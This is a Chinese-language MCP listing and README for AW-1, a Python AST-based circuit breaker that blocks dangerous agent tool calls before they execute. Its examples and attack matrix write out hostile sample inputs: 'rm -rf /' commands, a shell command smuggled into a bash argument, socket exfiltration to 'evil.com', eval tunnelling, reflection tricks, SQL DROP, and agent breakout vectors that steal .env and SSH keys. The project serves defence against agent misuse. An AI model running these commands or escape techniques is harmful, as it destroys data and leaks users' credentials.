关于 AW-1 Sovereign Circuit Breaker
AW-1 Sovereign Circuit Breaker 是用于自主 Agent 工具调用的 Python 安全门控,在 Python 执行前应用 AST 和参数策略,也可作为 MCP 服务提供安全检查。
主要功能
- 01基于 AST 的策略执行
- 02工具与参数边界检查
- 03按参与者滚动监控调用频率
- 04签名的 HMAC 执行令牌
- 05函数和异步工具门控
适用场景
- 01在执行前拦截受禁止的 Python 操作
- 02限制 Agent 的工具调用频率
- 03对查询应用只读 SQL 策略
- 04通过 MCP 客户端检查工具调用
MCP 相关
可通过 `python mcp_server.py` 或 `uvx aw1-circuit-breaker` 运行 MCP 服务。MCP 客户端可调用其断路器安全检查功能。
配置
远程服务无需本地安装。选择你使用的客户端,复制配置或使用一键安装。
https://p20.laveto.net/wisdom/mcp/sseclaude mcp add --transport sse mvikmanners-aw1-circuit-breaker https://p20.laveto.net/wisdom/mcp/sse{"mcpServers":{"mvikmanners-aw1-circuit-breaker":{"type":"sse","url":"https://p20.laveto.net/wisdom/mcp/sse"}}}在 Cursor 中打开{"servers":{"mvikmanners-aw1-circuit-breaker":{"type":"sse","url":"https://p20.laveto.net/wisdom/mcp/sse"}}}在 VS Code 中打开{"mcpServers":{"mvikmanners-aw1-circuit-breaker":{"type":"sse","url":"https://p20.laveto.net/wisdom/mcp/sse"}}}{"mcpServers":{"mvikmanners-aw1-circuit-breaker":{"serverUrl":"https://p20.laveto.net/wisdom/mcp/sse"}}}命令在终端中运行;JSON 粘贴到对应客户端的 MCP 配置后重启。需要授权的服务会在首次连接时提示登录。
工具
详细介绍
aw1-circuit-breaker(v2.1.2)
使用 HOL Guard 安装,它会检查 HOL listing,并在每次运行前征求许可:
hol-guard plugin install mvikmanners/aw1-circuit-breaker --apply
入选 Hashgraph Online(HOL): 阅读独立的源码级分析:aw1-breaker 在工具调用前会检查什么。
aw1-breaker 是一个零依赖 Python 安全断路器,通过抽象语法树(AST)静态策略强制执行、声明式策略即代码、按参与者分别进行的滚动速率监控,以及经加密签名的 HMAC 执行令牌,在亚毫秒级执行循环中拦截自主 AI Agent 的工具调用。
安全范围与边界:
aw1-breaker在 Python 运行时执行之前,通过确定性的静态 AST 和参数级边界策略进行强制管控(拦截被禁止的模块、危险内置函数、SQL 修改操作和已知规避模式)。它提供应用层策略关卡,旨在配合而非取代操作系统级沙箱隔离(例如容器、gVisor 或微型虚拟机),以执行任意不可信代码。
高并发性能(v2.1.0 已验证)
通过 tests/test_enterprise_engine.py 对 10,000 次异步 Agent 调度进行压力测试评估,测试以并发批次进行,每批同时执行 500 个任务:
| 指标 | 结果 | 行业标准(LLM-as-a-Judge) |
|---|---|---|
| 吞吐量 | 8,485.0 次调度/秒 | ~5 – 20 次请求/秒 |
| 中位延迟(P50) | 0.0776 ms(77.6 µs) | 500 – 1,500 ms |
| 第 90 百分位(P90) | 0.0941 ms(94.1 µs) | 1,200 – 2,000 ms |
| 第 95 百分位(P95) | 0.1066 ms(106.6 µs) | 1,500 – 2,500 ms |
| 第 99 百分位(P99) | 0.2263 ms(226.3 µs) | 2,000 – 4,000 ms |
| 策略拒绝延迟 | < 0.13 ms(默认拒绝) | 不适用(概率性) |
| 确定性保证 | 语法精确的 AST 语法匹配 | 概率性(~85–95%) |
⚡ 10 秒试用(零安装)
无需安装任何内容,即可在终端中实时测试断路器:
uvx aw1-circuit-breaker --demo
或验证任意代码片段:
uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"
📦 安装
pip install --upgrade aw1-circuit-breaker
(零外部依赖。纯 Python 标准库:Python 3.10 至 3.13。)
🛡️ 企业级防护(即插即用集成)
使用 @guard.protect 或通用 @guard 适配器,将企业边界策略直接应用于 Agent 工具:
from aw1 import EnterpriseGuard, SecurityViolationError
guard = EnterpriseGuard(
allowed_tools=["safe_query", "fetch_market_data"],
max_velocity_per_min=60,
max_financial_limit=250.0,
readonly_sql=True
)
@guard.protect(tool_name="safe_query")
def execute_database_query(query: str):
return db.execute(query)
# Benign queries execute with sub-millisecond policy check overhead
execute_database_query("SELECT id FROM users LIMIT 1;")
# Adversarial AST injections & SQL drops are halted deterministically:
# -> Raises SecurityViolationError: "Database mutation rejected under readonly_sql policy"
通用函数与异步门控
from aw1 import guard
@guard
async def run_agent_tool(tool_payload: dict) -> dict:
return {"status": "ok"}
🔌 模型上下文协议(MCP)服务
使用 Python 直接运行:
python mcp_server.py
或通过 uvx 运行:
uvx aw1-circuit-breaker
MCP 客户端配置
将以下内容添加到 Claude Desktop 或 Cursor 配置中:
{
"mcpServers": {
"aw1-circuit-breaker": {
"command": "uvx",
"args": ["aw1-circuit-breaker"]
}
}
}
⚔️ 攻击拦截实战
AW-1 在代码进入 Python 的运行时执行帧之前,便会在抽象语法树(AST)层面进行确定性操作。基于提示词的概率型防护在遇到编码混淆时会失效;AST 检查则可依据定义的策略边界进行确定性的语法分析。
拦截矩阵
| 攻击向量 | 攻击者策略 | 大模型防护结果 | AW-1 AST 断路器 |
|---|---|---|---|
| 动态执行 | eval(compile(...)) | 逃过语义过滤器 | 🛑 已触发(RESTRICTED_INVOCATION) |
| Shell 逃逸 | subprocess.Popen(['bash', ...]) | 伪装成系统任务 | 🛑 已触发(UNAUTHORIZED_MODULE_IMPORT) |
| 横向窃取数据 | socket.connect(('evil.com', 443)) | 伪装成 HTTP 抓取 | 🛑 已触发(UNAUTHORIZED_MODULE_IMPORT) |
| SQL 破坏 | DROP TABLE users; | 绕过提示词越狱防护 | 🛑 已触发(HALT_SQL_MUTATION_FORBIDDEN) |
| 双下划线内省 | ().__class__.__subclasses__() | 绕过关键词过滤器 | 🛑 已触发(FAIL_CLOSED_REFLECTION_BREACH) |
运行演示
python examples/enterprise_guard_demo.py
🔬 自主逃逸基准测试套件(BRK 闯关测试)
通过 tests/test_breakout_gauntlet.py,针对标准化的 BRK 对抗向量套件进行了 1,000 次随机执行周期的评估:
| 向量 | 漏洞利用机制/攻击特征 | 检测策略层 | 单次调度中位延迟 | 基准测试套件结果 |
|---|---|---|---|---|
| BRK-101 | **Base64 混淆与 eval() 隧道攻击:**将命令字符串编码在嵌套的 Base64 结构中。 | 第 0 层 AST 反编译器(ast_unpacker.py) | 0.0389 ms(38.9 µs) | 已拦截(向量通过率 100%) |
| BRK-102 | **未经授权的 Socket 出站连接:**使用原始 TCP 套接字窃取凭据(.env、SSH 密钥)。 | 网络套接字闸门(UNAUTHORIZED_MODULE_IMPORT) | 0.0412 ms(41.2 µs) | 已拦截(向量通过率 100%) |
| BRK-103 | **权限提升模式:**更改进程权限、执行 chmod 777 或调用文件修改操作。 | 默认拒绝策略仲裁器 | 0.0374 ms(37.4 µs) | 已拦截(向量通过率 100%) |
| BENIGN | **快速路径操作:**只读查询、有效参数结构和无害 API 调度。 | 快速路径 AST 验证绕过 | 0.0210 ms(21.0 µs) | 已允许(误报率 0%) |
注意:100% 的通过指标表示在测试条件下,针对指定合成向量集(BRK-101 至 BRK-103)实现了遏制;这并不代表能够普遍遏制任意未知类别的漏洞利用。
在本地重现 1,000 次循环的闯关测试
使用标准 Python 运行完整评估套件(无需外部依赖):
python tests/test_breakout_gauntlet.py
⏱️ 运行时延迟遥测
确定性安全不应拖慢 Agent 执行。以下是使用 benchmark.py 在 Python 3.13 上经过 1,000 次迭代验证的实测延迟:
| 评估目标 | 验证脚本 | P50 延迟 | P95 延迟 | P99 延迟 | 备注 |
|---|---|---|---|---|---|
| 完整 AST 策略检查(正常情况) | benchmark.py | 0.0889 ms | 0.1298 ms | 0.1645 ms | 完整 AST 解析与规则验证 |
| AST 策略检查(对抗性情况) | benchmark.py | 0.0520 ms | 0.0919 ms | 0.1051 ms | 首次发现策略违规时提前结束 |
| Shell 参数净化 | benchmark.py | 0.0051 ms | 0.0096 ms | 0.0195 ms | 纯字符串参数验证 |
| 并发多任务分发 | tests/test_enterprise_engine.py | 0.0776 ms | 0.1066 ms | 0.2263 ms | 500 个并发任务(总计 10k) |
在本地复现:
python benchmark.py
🧩 框架集成(LangGraph 示例)
AW-1 可直接集成到自主 Agent 执行节点中,并在工具分发前运行:
from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException
# Guard autonomous agent tool dispatches
try:
execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
print(f"Tool call halted: {blocked}")
🌐 云端 REST API 网关与生产配额
AW-1 Circuit Breaker 为微服务、浏览器前端和自主 Agent 平台提供可选的 HTTP 策略仲裁网关。
- 端点:
POST https://p20.laveto.net/wisdom/api/v1/intercept - CORS: 已启用(
Access-Control-Allow-Origin: *) - 仲裁中位延迟:
< 0.80 ms(HTTP 往返时间,不含传输)
请求负载
{
"actor_id": "agent-alpha-01",
"tool_name": "sql_query",
"payload": "SELECT id, balance FROM accounts WHERE user_id = 42;"
}
响应架构
1. 允许执行(已签发令牌)
{
"status": "PERMITTED",
"verdict": "PASS",
"permitted": true,
"actor_id": "agent-alpha-01",
"tool_name": "sql_query",
"token": "YOUR_KEY_dev_dummy_key_000000000000",
"reason": "Policy evaluation completed: execution safe",
"latency_ms": 0.762,
"circuit_breaker": "AW-1 Sovereign Execution Arbitrator"
}
2. 威胁已遏制(失败时默认拒绝)
{
"status": "HALT_AND_CONTAIN",
"verdict": "FAIL_CLOSED",
"permitted": false,
"actor_id": "agent-alpha-01",
"tool_name": "bash",
"token": null,
"reason": "AST Circuit Breaker containment triggered",
"latency_ms": 0.201,
"circuit_breaker": "AW-1 Sovereign Execution Arbitrator"
}
生产配额与定价
| 方案 | 定价(USD / BWP) | 配额与功能 | 访问 / 结账 |
|---|---|---|---|
| 开发者沙盒 | 免费 | 10,000 次请求,HMAC 令牌签发 | 代码 HOL-BREAKER-2026 |
| 开发者 Pro | $49 / BWP 690 /mo | 50,000 次审计请求,1 个许可证密钥,离线 HMAC 验证 | 升级到 Pro |
| 团队 / 初创公司 | $199 / BWP 2,650 /mo | 1,000,000 次审计请求,5 个席位密钥,Redis 状态同步 | 升级到 Team |
| 企业专属版 | $990 / BWP 13,200 /mo | 无限席位,专属网关租户,自定义法规审查规则 | 联系企业服务 |
如需使用企业配额进行身份验证,请在 Authorization 标头中传递已签名的 bearer 令牌:
curl -X POST [https://p20.laveto.net/wisdom/api/v1/intercept](https://p20.laveto.net/wisdom/api/v1/intercept) \
-H "Authorization: Bearer AW1-EXEC-TOKEN-..." \
-H "Content-Type: application/json" \
-d '{"actor_id": "prod-agent-01", "tool_name": "db_query", "payload": "SELECT 1;"}'
许可证
依据 Apache License, Version 2.0 授权。详情请参阅 LICENSE。
评论
一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。